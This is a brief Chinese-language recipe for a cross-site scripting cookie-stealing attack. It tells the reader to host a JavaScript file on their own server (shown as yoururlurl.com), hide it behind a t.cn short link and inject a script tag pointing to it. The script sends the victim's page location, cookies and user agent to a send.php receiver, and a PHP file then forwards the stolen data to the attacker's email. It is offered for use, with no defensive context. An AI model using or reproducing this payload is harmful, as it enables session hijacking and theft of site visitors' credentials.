1.准备一个JS文件,比如http://yoururlurl.com/js/my.js,解析为短域名http://t.cn/8ksoYBR,然后注入<script src="http://t.cn/8ksoYBR"></script>
var img=document.createElement("img");img.src="http://yoururlurl.com/send.php?location="+escape(document.location)+'&cookie='+escape(document.cookie)+'&agent='+escape(window.navigator.userAgent);document.body.appendChild(img);
2.准备一个PHP文件,比如http://yoururlurl.com/send.php,接收JS文件中传递的参数,然后发送至你邮箱中。